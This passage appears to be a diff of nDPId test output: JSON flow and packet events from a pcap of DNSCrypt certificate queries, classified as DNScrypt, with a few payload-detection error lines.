00887{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":311,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":124,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317462369,"flow_src_last_pkt_time":946739317462369,"flow_dst_last_pkt_time":946739317462369,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317462369,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":52221,"dst_port":2053,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00782{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":312,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":125,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317462376,"flow_src_last_pkt_time":946739317462376,"flow_dst_last_pkt_time":946739317462376,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317462376,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":38594,"dst_port":2053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":312,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_src_last_pkt_time":946739317462376,"flow_dst_last_pkt_time":946739317462376,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739317462376,"pkt":"REREREREZmZmZmZmCABFAAXcwF8gAL0R2j0KAAABstjJ3pbCCAUGBKQEfSYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00887{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":312,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":125,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317462376,"flow_src_last_pkt_time":946739317462376,"flow_dst_last_pkt_time":946739317462376,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317462376,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":38594,"dst_port":2053,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":313,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739317462379} -00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":313,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739317462376,"pkt":"REREREREZmZmZmZmCABFAABQwF4Aub0R\/xEKAAABstjJ3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":314,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739317462388} -00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":314,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739317462376,"pkt":"REREREREZmZmZmZmCABFAABQwF8Aub0R\/xAKAAABstjJ3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":315,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":126,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317462404,"flow_src_last_pkt_time":946739317462404,"flow_dst_last_pkt_time":946739317462404,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317462404,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":58740,"dst_port":2053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":315,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_src_last_pkt_time":946739317462404,"flow_dst_last_pkt_time":946739317462404,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739317462404,"pkt":"REREREREZmZmZmZmCABFAAIcwGBAAL0RvfwKAAABstjJ3uV0CAUCCD+NfSMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlzb2x0eXNpYWsDY29tAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":315,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":126,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317462404,"flow_src_last_pkt_time":946739317462404,"flow_dst_last_pkt_time":946739317462404,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317462404,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"178.216.201.222","src_port":58740,"dst_port":2053,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} @@ -647,8 +553,6 @@ 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":324,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":128,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317496730,"flow_src_last_pkt_time":946739317496730,"flow_dst_last_pkt_time":946739317496730,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317496730,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":55267,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_src_last_pkt_time":946739317496730,"flow_dst_last_pkt_time":946739317496730,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739317496730,"pkt":"REREREREZmZmZmZmCABFAAXcbs0gAL0RChwKAAABLUxxH9fjAbsGBNdkZBYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":324,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":128,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317496730,"flow_src_last_pkt_time":946739317496730,"flow_dst_last_pkt_time":946739317496730,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317496730,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":55267,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":325,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739317496749} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":325,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739317496730,"pkt":"REREREREZmZmZmZmCABFAABQbs0Aub0RLu8KAAABLUxxHwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":326,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":129,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317496759,"flow_src_last_pkt_time":946739317496759,"flow_dst_last_pkt_time":946739317496759,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317496759,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":51589,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":326,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_src_last_pkt_time":946739317496759,"flow_dst_last_pkt_time":946739317496759,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739317496759,"pkt":"REREREREZmZmZmZmCABFAAIcbs5AAL0R7doKAAABLUxxH8mFAbsCCGFBZBcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":326,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":129,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317496759,"flow_src_last_pkt_time":946739317496759,"flow_dst_last_pkt_time":946739317496759,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317496759,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":51589,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} @@ -661,10 +565,6 @@ 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":329,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":132,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317496872,"flow_src_last_pkt_time":946739317496872,"flow_dst_last_pkt_time":946739317496872,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317496872,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":52069,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":329,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_src_last_pkt_time":946739317496872,"flow_dst_last_pkt_time":946739317496872,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739317496872,"pkt":"REREREREZmZmZmZmCABFAAXcbtEgAL0RChgKAAABLUxxH8tlAbsGBOPgZBgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":329,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":132,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317496872,"flow_src_last_pkt_time":946739317496872,"flow_dst_last_pkt_time":946739317496872,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317496872,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":52069,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection 